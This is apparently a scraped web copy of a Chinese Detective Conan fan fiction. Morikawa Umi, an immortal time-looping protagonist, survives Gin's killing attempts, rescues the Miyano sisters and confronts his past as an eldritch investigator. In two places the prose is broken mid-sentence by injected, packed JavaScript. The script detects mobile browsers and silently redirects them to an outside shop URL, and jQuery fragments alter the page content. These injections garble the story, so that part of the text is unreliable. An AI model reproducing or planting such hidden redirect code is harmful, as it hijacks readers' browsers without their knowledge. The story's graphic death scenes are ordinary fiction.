琴酒蹲下来,和他平视。那双绿眼睛离得很近,森川海能看见里面那些细细的血丝,和瞳孔深处那一点亮光。 “把你关进铁笼,扔进海里。”琴酒说,“你还会出现吗?” “你可以试试。” 琴酒盯着他,看了很久。他在那张脸上找什么东西,恐惧,愤怒,或者别的什么。但他什么都没找到。那双红眼睛很平静,像是深不见底的水,什么也看不出来。 “你会。”琴酒说,“总有一天你会。” 他站起来,转身往外走。 森川海坐在废墟上,看着那个背影消失在门口。阳光从破洞里照进来,落在他身上,把他整个人照得半明半暗。他坐在那儿,一动不动,坐了很久。 琴酒回去之后试了很多次。 他把森川海关进一个特制的铁笼里,焊死了每一根铁,然后从船上扔进海里。琴酒看着那个铁笼沉下去,沉进黑暗的海水里,铁笼表面的气泡一串串往上冒,越升越高,最后什么也看不见了。海面恢复平静,像是什么都没发生过一样。 三天后,森川海出现在他房间里。 浑身湿透,站在窗边,看着他。月光从窗户照进来,把他身上的水照得发亮,地板上一小滩水渍正在慢慢扩大。 “没用。”森川海说。 琴酒看着他,没说话。那天晚上琴酒躺在床上,那个人就站在窗边,站了一整夜。琴酒没睡,那个人也没动,天亮的时候森川海走了。 琴酒把森川海浇进一个正在施工的桥墩里,看着那些灰色的泥浆没过他的头顶,把他整个人封在里面。泥浆灌进去的时候,森川海没挣扎,只是看着他,那双红眼睛一直看着他,直到被泥浆完全盖住。等水泥干了,那个桥墩结结实实的,和旁边那些桥墩一模一样,什么也看不出来。 一个月后,森川海出现在琴酒吃饭的餐厅里,坐在他对面,点了一份牛排。 “不好吃。”森川海说,“这家不行。” 琴酒看着他,切自己盘子里的牛排,没理他。餐厅里灯光很暖,周围的人都在低声说话,只有他们这桌安静得像是什么都没有。 把森川海扔进化工厂的酸液池里,看着那些透明的液体腐蚀他的皮肤、肌肉、骨头。他的皮肤最先起泡,然后剥落,露出下面红色的肌肉。肌肉也在溶解,变成浑浊的液体混进酸液里。最后是骨头,那些白色的骨头在酸液里慢慢变细变脆,然后断裂,沉到底部,最后什么都不剩。 两天后,森川海出现在琴酒车上,坐在副驾驶座上,系着安全带。 “你开车太快了。”森川海说。 琴酒没说话,继续开车。那个人就一直坐在旁边,到地方之后自己下去了。 琴酒托关系弄了一个太空舱的废弃实验舱,把森川海关进去,抽成真空。他看着那个人在里面挣扎,看着那个人张着嘴却吸不进任何东西,看着那个人的眼睛慢慢充血,皮肤上绽开无数细小的血点。最后那个人停止呼吸,一动不动地漂浮着,像个水里的标本。 琴酒把那个实验舱封存起来,扔进一个没人知道的仓库里。 三个月后,琴酒在南美执行任务,走进一间酒吧,看见那个人坐在吧台前,喝一杯酒。 “这儿的酒不错。”森川海说。 琴酒站在那里,看着他。酒吧里灯光很暗,只有吧台上方亮着一盏灯,把那个人照得很清楚。还是那副样子,红色的眼睛,没什么表情的脸。 “你烦不烦?”琴酒走过去,在他旁边坐下。 森川海看了他一眼,说:“是你先烦我的。” 琴酒要了一杯酒,喝了一口:“你就不能离我远点?” “是你在找我。”森川海说,“每次都是。” 琴酒没说话。他知道森川海说的是真的。每次都是他去找那个人,不是那个人来找他。他也不知道为什么。也许是因为那个人让他不舒服,他不能允许有什么东西让他不舒服还好好地活着。也许是因为别的什么,他不愿意去想。 “你为什么要保护她们?”琴酒问。 森川海看着他,没说话。 “那对姐妹。”琴酒说,“你又不是她们什么人。” 森川海沉默了一会儿。然后他说:“你杀过很多人。” 琴酒等着。 “你有没有想过,”森川海说,“那些人里,有没有人本来不用死的?” 琴酒看着他,眼神仿佛在说你在讲什么笑话。森川海也意识到自己说了完全没用的东西,默默移开目光。他站起来,把酒钱放在吧台上。 “下次别找我了。”他说,“没用。” 琴酒坐在那儿,看着那杯酒,看着那盏灯和那个人走出去的那扇门。他坐了很久,久到酒都忘了喝。 …… 宫野 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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宫野志保眼眶突然热了,她不知道自己是不是想哭,但她觉得有什么东西在眼睛里打转。 森川海把她抱起来。还是和很多年前一样,一只手托着她的后脑勺,把她按在肩膀上。她靠在他肩上,闻到他身上的味道,还是很淡的味道,像是肥皂,又像是海风。 他抱着她往前走,走了很久。 “有件事我得告诉你。”森川海严肃地看着赤井秀一。 赤井秀一等着。 “宫野艾琳娜和你的母亲是姐妹,所以宫野明美是你表妹。”森川海说。 赤井秀一:“……?” 赤井秀一:“什么?” “你母亲和宫野艾莲娜是姐妹。”森川海说,“你不知道是因为你母亲从没说过,但确实是。” 赤井秀一:“……” “没关系,只是色诱自己表妹而已,我不会——” 赤井秀一选择把这个人的嘴捂住。 森川海往回走。 走到那个地方,那个关过宫野志保的地方。门口还有人,但他进去的时候那些人好像没看见他。 森川海站在那里,等了一会儿。 他的身体开始发光。 那些光点从他身上飘出来,散发着微弱的光晕,在空中旋转着,碰撞着,和衣服融合在一起。光点越来越多,越来越亮,开始成形。 先是轮廓,再是颜色,最后是细节。 一张脸慢慢浮现出来。 是宫野志保的脸。 这次应该不需要琴酒了。森川海在基地里和回了自己家一样,对着这些知道自己在做什么的研究员,他毫无顾忌地让他们看见了真实的自己。 虚空之上的伟大存在遥遥投下一瞥,人类的意志便在祂面前崩塌。一切都很顺利,森川海拿到了想要的资料,“宫野志保”合理地死在混乱中。行动组姗姗来迟,只看见黑色的烟和红色的火,和那背后惨白的天空。 在实验室里,他看见了自己熟悉的人。 是卡慕。 年轻的实验体沉浮在营养液中,像一个标本。卡慕没有名字,只有代号,将会是混乱中唯一的幸存者,因为直面了森川海真实的存在将要终生生活在混乱和疯狂中,也将跨越时间的维度反复杀死他以获得解脱。 原来如此。 早该如此。 34.034 东京湾的夜很深了。 集装箱码头没什么人,只有几盏昏黄的路灯亮着,在海面上拖出细长的光痕。那些光痕随着水波轻轻晃动,像是有什么东西在水底下游动。风从海面吹过来,带着咸腥的气味和十一月的寒意,吹得那些集装箱的边角发出轻微的呜呜声。 森川海站在一辆黑色轿车旁边,靠着车门。 他在等赤井秀一,以莫尼科的身份。 他花了很多时间才把宫野姐妹送出来。用了一个他几乎忘记的身份,走了很多条他几乎忘记的路,死了——他不太确定,也许死过,也许没有。那些记忆混在一起,像搅浑的水,分不清哪一滴是哪一滴。他记得血的味道,记得火的温度,记得黑暗中那些光点慢慢聚拢的感觉。但他不记得哪一次是哪一次了。 不过不重要。 脚步声从身后传来,莫尼科没有回头。 赤井秀一走到他旁边,也靠在车门上。两个人并排站着看着远处的海面,那里有一艘货轮,船上的灯火在黑暗里连成一片,像一座移动的小城。灯光在海面上拖出长长的倒影,随着波浪一伸一缩。 沉默了很久。 “FBI的人会接应她们。”赤井秀一说,“证人保护计划已经安排好了。” “嗯。” “名字会换掉,身份会换掉,过去会抹掉。” “嗯。” “她们不会再是宫野志保和宫野明美。” 莫尼科沉默了一会儿。风把他的衣角吹起来,一下一下地拍打着车门。 “活着就行。”他说。 赤井秀一没有说话。 风继续吹。集装箱的呜呜声忽高忽低,像是什么人在远处叹气。赤井秀一看着莫尼科的侧脸,看着他被路灯照得忽明忽暗。 那张脸很疲惫,颧骨的线条比上次见面更深,像是有什么东西从里面把肉削掉了。他深蓝色的眼睛被灯光映照出淡淡的红色,在昏暗的光线里像两簇随时会熄灭的火,又像是什么很深的水,看不见底。 “你呢。”赤井秀一问。 莫尼科转过头看他。 “什么?” “还要离开吗?” 莫尼科沉默了一会儿:“应该是吧。” 风从海面吹过来,带着咸腥的气味。远处那艘货轮已经开远了一点,那些灯火变得更小,更模糊,像是要融进黑暗里。 赤井秀一有很多话想问。 他想问,你帮宫野姐妹的时候是不是真的死过。是不是像以前那样,死了又活过来,再死,再活。每一次都留下新的伤疤,每一次都变得更不像原来的你。 他想问,你上次离开的时候,那些光点是怎么回事。那是什么东西?你变成了什么?你还会回去吗? 他想问,你从那些地方回来,穿过那些光的时候是不是一个人。有没有人在你身边,有没有人拉你一把。 这些问题的下面,还有另一个问题。 你还好吗。 你还好不好。你累不累。你是不是又瘦了。你有多久没好好睡一觉。你上次笑是什么时候。 你是不是还在愧疚,还在悲伤,还在愤怒。你是不是还在怪自己救不了所有人。你是不是还在想,如果再来一次,会不会更好。 你是不是—— 但他没有问出口。他只是转过身,面对着莫尼科。 莫尼科也转过来看着他。 两个人面对面站着,离得很近。近到能看清对方眼睛里自己的倒影,近到能感觉到对方呼吸的温度。路灯的光从侧面照过来,把两个人的轮廓勾得很深,那些阴影像是刻在脸上一样。 赤井秀一伸出手。 他把手放在莫尼科肩上。隔着外套,莫尼科能感觉到那只手的重量和掌心传来的温度,那温度透过布料渗进来,真实的让人恍惚。 莫尼科看着他。蓝色的眼睛在昏暗的光线里很平静,平静得像一面湖。 但赤井秀一看见了湖底的东西。 他没有说话。 他只是把手从肩上移到莫尼科后颈,轻轻按了一下。 莫尼科的眼睛微微睁大。 那个动作——那个按后颈的动作——他记得。松田阵平也做过。在很久以前,在摩天轮下面,在那个彩带炸弹落下来的时候。那时候松田也是这么按着他的后颈,说“等我回来”。 赤井秀一不知道这件事。 莫尼科忽然觉得眼眶有点热,他低下头,没有说话。 赤井秀一也没有说话。 他们就那样站着,在东京湾的夜风里,在昏黄的路灯下,一切紧密的像个拥抱。那些没问出口的问题,那些没说出来的话,好像都在这里了。 过了很久,赤井秀一松开手。 “保重。”他说。 莫尼科抬起头,看见赤井秀一转身朝车的另一边走去,走了几步又停下来。 “下次见。” 引擎发动,车灯亮起来,把那片昏黄的路灯照得更亮。灯光里能看见细小的灰尘在飘,还有夜雾里那些细微的水汽。森川海站在原地,看着那辆车慢慢驶远。尾灯在黑暗里越来越小,越来越模糊,最后消失在码头的尽头。 夜风继续吹。 他抬起头,看着天上那片什么都看不见的夜空。云层很厚,遮住了月亮和星星,只有几处地方透出一点点灰白的光。 然后森川海闭上眼睛。 再睁开的时候,他又一次站在时间的罅隙里。 还是那片灰白色的虚无,没有尽头,没有上下,没有声音,什么都没有。那些灰白色的雾气在周围缓缓流动,像水又不像水,踩上去没有实感,像是踩在什么不存在的东西上。 这里是他必须来的地方。 森川海想知道,为什么这里会有诸伏景光。 上次看见安全屋和同期他只是单纯觉得自己出去了或者出现幻觉了,那这次是为什么,为什么安全屋和景光全在他的时间里坦然的坐着,那个混蛋还有闲心冲他微笑打招呼——这里到底是谁家啊诸伏景光! 森川海心如死灰地倒下,诸伏景光在他旁边憋笑。 难道我其实暗恋hiro?森川海想。 “没有哦。”诸伏景光很好心地解释,“我猜可能是小森川把系统给我了,所以——” “出去。”森川海说。 “诶?” “我说从我的脑子里出去,”森川海绝望地呻吟,“能不能让我一个人好好的当英雄啊,为什么这种时候还要掺和一脚!你知不知道这有多危险!” 卡慕甚至没有真正看见那些东西就被影响了一生,如果诸伏景光因为他滑入疯狂的深渊,那么森川和也坚持的一切将毫无意义。 所以这个人到底为什么在这里添乱啊! “我不管。”诸伏景光温温柔柔地说,“我不来的话,小森川又要把自己绕进去了吧?会不会觉得自己已经完成了要做的事,又一声不响地离开?” 森川海把脸埋在臂弯,怎么也不肯抬头。诸伏景光在旁边扒拉他。 如果hiro一直在的话…… 他朝系统放狠话那段是不是也被看见了? 这也太丢脸了! “现在,小森川能把自己的名字告诉我了吗?”诸伏景光声音很轻。 “……我不信松田阵平没有告诉你们。” “但我想听小森川自己说。” 好吧。森川海叹气,我总是拿你没办法。 我是森川和也,用过最久的名字是森川海,也叫过莫尼科海耶斯。我有很多个身份、很多段人生,有很多我爱的和爱着我的人。 “好的,umi酱。”诸伏景光蓝色的眼睛里倒映着漫无边际的海,“去看看你忘记的记忆吧。” 它们漂浮在灰白色的虚无里,像无数个发光的泡泡。大大小小,远远近近,有些亮一些,有些暗一些。每个泡泡里面都有一幅画面,一个结局,一个他曾经走过却忘记的路。 获得成就: 【防火墙】 评价A:你将所有危险隔绝于他们的世界之外,独自吞噬了每一颗射向他们的子弹。你成为了一道完美的防火墙,无声地过滤掉一切苦难。最终,他们安全的世界里,再也没有你的容身之处。你被系统归类为“已处理的威胁”。 获得成就: 【昨日之影】 评价B:你太过努力地想将他们从已知的昨日中拯救出来,以至于从未真正参与他们的今日。你活在关于他们的记忆里,而不是现实中。当你终于抬起头时,已经被永远留在了那个充满遗憾的过去。 获得成就: 【逻辑的囚徒】 评价B:你计算出所有最优解,规避了每一次风险。没有意外,没有牺牲,一切都按最有效率的剧本运行。直到某天你看着他们空洞的幸福生活,忽然意识到——你谋杀了所有热血、意外和真正活着的证据。 获得成就: 【健康游戏忠告】 评价A:你牢记“适度游戏益脑,沉迷游戏伤身”的提示,准时存档,规律下线,将那个世界视为一场可随时抽离的娱乐。于是,在你未登录的日子里,他们的时间照常流逝,悲剧如期上演。你保护了自己的现实生活,并成功地在另一个世界里当了一名完美的旁观者。 获得成就: 【错误答案】 评价S:你答对了所有关于他们的选择题,却错失了最重要的一道:当这个世界、这些人与你的任务产生不可调和的矛盾时,你选择什么?你选择了任务。 系统判定:逻辑正确,恭喜通关,人类。 获得成就: 【此路不通】 评价A:你尝试了所有可能的路径,穷举了每一个选择。每条路的尽头都立着一块相同的路牌,上面写着此路不通。原来,这个游戏从一开始,就没有设计全员幸存的出口。 开发者留言:欢迎体验命运DLC。 【Happy Ending】 【完美通关】 达成条件:利用玩家优势完成每一个拯救任务,但因过度干预导致警校组失去关键的成长契机与自主选择权。 评价C:你拯救了所有角色,却失去了故事本身。他们活着,但光芒已熄。这真的是你想要的Happy Ending吗? 【Happy Ending】 【安全第一】 达成条件:你因PTSD和对失去的恐惧,利用系统情报和公安权限,采取极端保护措施,试图将警校组完全隔离于所有危险之外。五人因此错过各自命中注定的岗位与使命,平安却平庸地度过一生。 评价C:你扼杀了所有悲剧的可能,也亲手折断了鹰的翅膀。他们安全地活到了退休,然后呢?墓碑上或许该刻着“这里躺着一个因未被使用而锈蚀的灵魂”。 【Bad Ending】 【西西弗斯的叹息】 达成条件:你不断 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248618|197044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 读档,尝试了无数种方法,却发现无论怎样努力,都无法改变至少会失去一人的结局。在最后一次尝试失败后,你身心崩溃,选择永久删除存档,放弃这个游戏。 评价B:你已重来114514次。你比任何人都清楚每块石头的重量与山坡的坡度。这一次,你决定不再推它上山。永恒的徒劳亦是永恒的自由。休息吧,玩家。 【Bad Ending】 【坠入鸦影】 达成条件:在无尽的对抗、失去与读档循环中,你的信念被彻底腐蚀。为了获得终极的力量去强行改变结局,你开始不择手段,最终踏入了黑暗的深渊,成为了新的“卡慕”或更甚者。 评价A:凝视深渊过久,深渊将回以凝视。你战胜了宿敌,然后欣然接过了他的衣钵。恭喜,你现在是故事的反派了。新游戏开始? 【Bad Ending】 【小美人鱼】 达成条件:读档次数过多,彻底消失在时间的缝隙里。 评价C:那些彩色的泡泡裹着你,慢慢变成虚无。没有人知道你去哪了。没有人知道你来过。你存在过的痕迹,只有他们记忆里那些模糊的、说不清的熟悉感。 【True Ending】 【我是谁】 达成条件:找回所有记忆,接受自己既是森川海,也是布伦尼文,也是森川和也,也是莫尼科,也是莫妮卡,也是清水茶柱。 评价B:你站在时间的罅隙里,看着那些泡泡一个一个亮起来又暗下去。你知道那是你,那些都是你。你死了很多次也活着回来很多次,用很多名字爱过很多人。他们说回来吧,你说好。 【Bad Ending】 【记性很差的前搭档】 达成条件:换了三个身份接近琴酒,他一个都没记住。 评价A:你站在他面前,他看了你一眼移开视线。你不死心,又换了个身份站过去。他还是没看你。你换了三次,他看了三次,每次都是同一种眼神——看陌生人的眼神。 【Normal Ending】 【例行公事】 达成条件:以组织成员身份和琴酒搭档执行任务,顺利完成。 评价???:任务结束,他扔给你一沓钱——等一下,你们到底做了什么??? 【Open Ending】 【永恒的等待】 达成条件:困在时间罅隙中,无法回到任何一条时间线。 评价B:你在灰白色的虚无里走着,不知道走了多久。他们还在外面等你。 【Normal Ending】 【普通人生】 达成条件:放弃所有干预,任由剧情按原著发展。 评价C:你看着他们一个接一个死去,什么都没做。你活到了很老,但这样的人生真的有意义吗?你不知道。 【True Ending】 【重逢】 达成条件:救回所有人,但自己也永远困在罅隙中。 评价A:你透过罅隙看着他们活着,笑着,老去。你没办法触碰他们。这样的结局已经重复了很多次,你似乎并不介意。 【Reload】 【无数次】 达成条件:读档次数超过上限。 评价A:你数不清自己死过多少次,也记不清自己来自哪里。那些记忆堆在你脑子里,越来越重,越来越沉。你逐渐忘记自己是谁,忘记自己的姓名、记忆与目的。 【Open Ending】 【徘徊者】 达成条件:在罅隙中看到所有结局后,依然选择继续走。 评价S:你不知道要去哪里,但你还在走。 【???】 【???】 达成条件:未知。 评价???:这个泡泡里面什么都没有。是还没发生的结局,还是已经发生但你忘了? …… 森川海站在最后一个泡泡前面,看了很久。 那些画面一个一个在他脑子里闪过去。他想起一些,忘记更多。他记得那些痛,但不记得每一次痛是从哪里来的。那些痛混在一起,变成他一直带着的东西,沉在身体最下面,平时感觉不到,但一直都在。 他不知道自己看过多少遍了,也不知道自己还能看多少遍。 他转身,那些泡泡在他身后慢慢暗下去,一个一个消失。 “hiro——” 森川海朝着安全屋的方向跑去,诸伏景光张开手臂接住他。 “我想你们了。”他的声音埋在诸伏景光的外套里,显得有些闷闷的。 “我们也是。”诸伏景光温柔的声音带着笑意,“欢迎回家,umi。” 森川海从不对诸伏景光设防。 所以…… “系统。”森川海抬起头,“你把景光弄到哪去了?” “你在说什么?”诸伏景光眼中浮现出疑惑,“我不是在这里吗。” 森川海:“……” 不许用诸伏景光的脸啊!前一秒怀里还是温柔体贴漂亮可靠的同期,下一秒就成了系统,他真的要萎了! 绿色青蛙大叫五个字.jpg 下一瞬间,所有温情的画面如同飞雪杨絮一样消散,只剩下一片虚无的空白,和森川海只差半只脚就能踏进去的深渊。 “不许……不许用景光的脸going我……” 35.035 森川海站在罅隙里。 “所以为什么是诸伏景光?”他喃喃道。 到底为什么是诸伏景光,明明记忆里和他搞过暧昧的有这——么多人,为什么偏偏是诸伏景光啊?为什么偏偏是关系最纯洁的挚友啊?难道我真的暗恋hiro? 玩家开始绝望地刨记忆。 “我真的没和hiro搞到一起过,系统到底在做什么?”森川海变成一滩不可名状的东西,“想不通……想不通……” 这也是系统的诡计吗?多少有点太歹毒了。 森川海爬起来开始看怎么个事。 他在记忆里翻了很久也看了很久,久到忘了时间甚至忘了自己是谁,久到所有画面开始重叠模糊,变成一片无法分辨的光影。但他还在看。 他想起来了,他想起来了……在所有故事发生之前,在一起的最开始。 泡泡表面泛起涟漪,画面开始流动。 那是他不认识的地方。普通的街道,普通的房子,普通的树,普通的人。阳光很好,画面里有一个年轻人,长得普通,穿得普通,走在人群里一眼就会消失。 但森川海知道那是谁。 那是他,最初的他。 没有读档,没有系统,没有生与死和它们之间模糊的一切,没有那伟大而亵渎的存在的眷顾。只是一个普通人,过着普通的日子,爱着普通的人。那时他有父母,有朋友,有喜欢的人,以为日子会这样一直过下去,以为老去和死亡是很远很远的事。 然后那些人开始消失。 画面快进。一张张脸出现,又一张张脸消失。亲人,爱人,朋友。 理念不合,渐行渐远,突然的意外,漫长的疾病。 更多的是死亡——有预谋的死亡,突然的死亡,意料之外的死亡,悄无声息的死亡。 他看见自己站在墓碑前面。一个接一个的墓碑,一排接着一排,最后只剩他一个人。曾经的森川海蹲下来,把头埋进膝盖里,肩膀在抖。 森川海近乎漠然地看着。 他知道接下来会发生什么,但他没有移开眼睛。 那个森川海抬起头,脸上全是泪,眼眶红得像要滴血。他张了张嘴,没有声音,但森川海听见了。那个声音穿过时间,穿过空间,穿过无数个世界,再一次在他耳边响起。 不管是谁,救救他们,救救我所爱的人。如果不行,就让这痛苦的一切结束吧。 让这一切结束。 泡泡微微颤动。画面开始扭曲,光从四面八方涌过来,聚拢旋转,形成一个无法描述的轮廓,非人非物,是人类的眼睛无法直视的东西。伟大、浩瀚、冷漠,同时又温柔得让人想哭。它存在又不存在,看着他时像在看一粒尘埃。 无形之中有一个声音响起。 你能给出什么? 那个普通的自己跪在地上,仰着头看那片光,膝盖硌在碎石上,血流出来,但他没感觉。 “一切。” 森川海顿了顿,又补充道:“我过去、现在、未来拥有的所有的一切。” 可人类的一切太过单薄,你的过去已经失去,你的现在只剩痛苦,你的未来——你还有什么未来? 森川海低下头。 他知道。他一直知道。他什么都给不了。他的过去已经没了,现在只剩他自己,未来——他不知道还有什么未来。 但他还是跪在那里。一动不动。 过了很久,他抬起头。那双眼睛里是燃烧的大火,像希望也像是愤怒,或者更深刻更沉重的东西。 于是森川海抛弃了记忆,从头开始一遍一遍重复。于是他忘记他们,忘记自己,忘记所有的痛苦,变成另一个人去另一个世界。 如果所有的可能性都会走向那个结局…… 那就重新开始。 人类的一生太过单薄,那我的一生不止一次呢? 无数的轮回下来,它是否能达到你要的厚度? 光沉默了很久很久。 再睁开眼睛时,森川海已经不记得自己是谁了。 他站在一个陌生的世界里,有陌生的街道,陌生的人,陌生的语言。他不知道这里是哪里,不知道自己叫什么,不知道自己为什么会站在这里。 但他记得一件事。 森川海站在罅隙里,看着画面慢慢消失。他的手还按在泡泡表面,指尖微微发抖。 他想起来了。 那就是开始。 但那个画面不是全部。在那之后,还有很长很长的路。 那是他成为调查员的那段日子。 森川海穿着旧风衣,手里拿着一本黑色封皮的笔记,站在一座荒废的教堂前面。天空是灰色的,云层压得很低,教堂的尖顶刺进云里看不见顶端。周围没有树,没有草,没有活的东西。 他走进教堂。 里面全是尸体。不仅是人类的尸体,还有别的东西。有触手,有眼睛,有不该存在的器官,狰狞地纠缠在一起。它们在黑暗中发着微光,像一堆腐烂的星星。 他蹲下来,翻开笔记。 笔迹是他的,但那些字他不认识。那不是任何一种人类的语言。 森川海在一座深山里。周围全是雾气,浓得化不开。他手里拿着一盏油灯,灯焰是蓝色的,不会熄灭。他身后跟着几个人,穿着和他差不多的旧风衣,脸上全是疲惫和恐惧。 他们在追什么东西。或者说,有什么东西在追他们。 画面一闪。 他一个人站在悬崖边上。那几个人不见了,油灯也不见了。他的风衣上全是血,有自己的,也有别人的。 他看着悬崖下面,下面什么都没有,只有浅蓝色的浓雾。 森川海跳了下去。 他在一间书房里。墙上挂着很多照片,全是各种奇怪的生物、诡异的符号、无法解释的现场。森川海坐在书桌前,面前摊着一本书。那本书很厚,封面是某种皮革,他盯着书页一动不动。不知道过了多久,森川海终于抬起头。那双眼睛里已经没有任何情绪了。 他合上书,站起来走出书房。 画面跟着他出去。 外面是一个小镇。普通的镇子,有房子有树有人。但他走过的地方,那些房子开始褪色,那些树开始枯萎,那些人——那些人的脸上开始出现恐惧。他们看见他,像看见什么不该看的东西。他们躲起来,关上门窗,拉上窗帘。 森川海继续走,一直走到镇子外面,走进黑暗里。 这一次他站在一间普通的房间里。普通的床,普通的桌子,普通的窗。窗外有阳光,有鸟叫,有小孩在笑。他看着窗外,站了很久很久。 然后森川海转身,走到镜子前面。 镜子里是一张普通的脸。普通的五官,普通的肤色,普通的眼睛,和最开始那个普通人一模一样。 森川海盯着镜子里的自己,忽然开口: “你是谁?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17254597|197044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >没有人回答,他又问了一遍。 “我是谁?” 还是没有人回答。 森川海伸出手按在镜子上,镜子里的他也伸出手,两只手隔着玻璃碰在一起。 “我想起来了。”他说,“我不是你。” 镜子里的他笑了。 “你不是我。”镜子里的森川海说,“你是我的一部分,是那个存在从我身上拿走的那部分。” 森川海愣住。 镜子里的他继续说:“你忘记了一切,忘记了自己是谁,忘记了为什么会在这里,忘记了那些死在你面前的人。但你记得一件事。” “什么事?” 镜子里的森川海没有回答,只是笑着,笑着,然后消失了。 森川海站在罅隙里,看着那些画面一个一个闪过。太多了,多到数不清。有的世界他成功了,有的世界他失败了,有的世界他活下来有的世界他死去。但无论成功还是失败,无论生还是死,他都会忘记然后重新开始。 那些画面里有他见过的所有人。亲人,爱人,朋友,敌人。有他救下的,有他没救下的。有他看着死去的,有他看着活下去的。每一个画面都是一条时间线,每一个画面都是一个他,每一个画面里他都在做同一件事—— 救人。 不计代价、不计后果、不计得失地。 泡泡一个一个暗下去,又一个一个亮起来,漫无尽头,无穷无尽。森川海站在中间,看着自己无数次地活着,无数次地死去,无数次地忘记,无数次地重新开始。 他想起那些他救过爱过得到过也失去过的人,想起那个站在镜子前面问“我是谁”的自己。 他想起那个跪在光里说“一切”的普通人,想起那个在荒废教堂里记录不可名状之物的调查员。 那些都是他。 森川海低下头看着自己的手,那只手开始变透明。不再是之前五彩缤纷的泡沫,是真的在消失的透明。指节、掌纹、皮肤下的血管,一层一层淡下去,像褪色的水墨画。 他想不起自己已经读档多少次了。 数不清。 那些纷乱叠加的画面,每一个都是一次人生,每一个都是一条时间线,一场失败。现在那些线都收回来了。森川海站在这里,看着自己一点一点消失。 森川海没有害怕,他只是觉得累,很累很累。从骨头缝里渗出来的累,感觉睡了十年也补不回来。但是终于可以休息了,终于可以放下了。 很久很久以前,森川海对赤井秀一说他感到幸福,他没有撒谎。 如果顺着系统规划好的路线走下去,如果每一次都选“正确选项”,如果他从来没有偏离过所谓的“完美攻略”——他确实会有一条平凡美满的人生。稳定的工作,安稳的生活,该有的都会有,该来的都会来,该失去的都会在合适的时候失去,该得到的都会在合适的时候得到。 但那个跪在光里说“一切”的,那个站在墓碑前面看着亲人一个一个离开的,那个在荒废教堂里记录不可名状之物的,那个在无数个世界里反复死去、反复忘记、反复重来的,那个曾经痛苦着、嘶吼着、绝望着的森川海呢? 选择平庸的生活,要做的第一件事是杀死那些本有可能获救的其他人。 第二件事是杀死那个不想放弃的自己。 所以森川海从不后悔自己的选择。 森川海从不因为爱痛苦。 他从未感到如此幸福。 36.Our Best Ending 就在这时,罅隙里出现了另一个人。 诸伏景光站在他面前,看着森川海。 森川海愣住了:“你怎么……” “你问过我会不会来。”诸伏景光说,“我说会。” 森川海看着他。那张脸他很熟悉,熟悉到闭着眼睛都能描出来。蓝色的眼睛,温柔的笑容,总是让他安心的存在感。 救命,难道我真的暗恋景光? “你看见了。”森川海心虚地移开目光,“那些画面。” “看见了。” “全都看见了?” “全都看见了。” “你不害怕吗?”森川海疑惑地问。 诸伏景光没有回答,只是往前走了一步,站在森川海面前,离他很近。然后他伸出手,把森川海抱进怀里。 森川海僵住了。 这触感太真实了。真实的温度,真实的重量,真实的呼吸。他已经很久很久没有被这样抱过了,久到忘了拥抱是什么感觉,久到以为自己已经不需要了。 “你记得那个约定吗?”诸伏景光的声音从他头顶传来。 森川海没有说话。 “你把自己给了那个存在,换了一个机会。”诸伏景光说,“但你没有问过,那个存在把你给了谁。” 森川海抬起头。 诸伏景光低头看他,眼睛里有温柔的光。那种光他很熟悉——是景光看他的眼神。从第一次见面开始,就一直是这样。温柔,包容,带着一点心疼。 “祂把你还给了我们。”诸伏景光说,“每一次你忘记,每一次你重来,每一次你拼尽全力又失败——我们都在看着。我们帮不了你,但我们看着。” 森川海的喉咙发紧。 “那些你成为调查员的日子,你一个人扛着的东西,还有你不记得的过去,”诸伏景光继续说,“我们也看着,很抱歉帮不上什么忙。” 他顿了顿。 “现在该还给你了。” 森川海感到有什么东西从四面八方涌过来。依然是五彩的光,却更暖更轻也更温柔,让森川海眼眶泛红。是记忆。那些他忘记的记忆,那些他成为调查员的漫长生涯里失去的记忆,那些他在无数次读档中消耗掉的记忆,那些他以为永远回不来的记忆。 它们像潮水一样涌进他身体里。 “那你们呢?”森川海看着诸伏景光的眼,“你们又付出了什么?” 诸伏景光没说话,只是长长的叹了口气。 “我说什么你都不会相信的。”景光温柔地抚过森川海眼角,“那就自己去看吧,umi酱。” 森川海看见自己站在荒废的教堂里,面对那些不可名状之物,没有退缩。 他看见自己站在悬崖边上,跳下去之前,回头看了一眼。那一眼里有一个人——不,有很多人。那些他救过的人,那些他爱过的人,那些他看着死去的人。他们在远处看着他,目送他跳进那片雾里。 他看见自己坐在书房里,盯着那本厚厚的书,一个字一个字地读下去。那些字在燃烧他的眼睛,燃烧他的脑子,燃烧他的灵魂。 他看见自己走过那些小镇,那些城市,那些世界。每走过一个地方,都会有人因为他活下来,都会有人因为他死去,都会有人记住他,都会有人忘记他。 最后他看见那个普通的自己。站在阳光下,站在普通的街道上,站在那些会消失的人中间。那个自己转过头,看着他笑了。 那个笑容里有一句话。 去吧,替我们活着。 替无数个时间线上的森川海活下去。 森川海闭上眼睛。 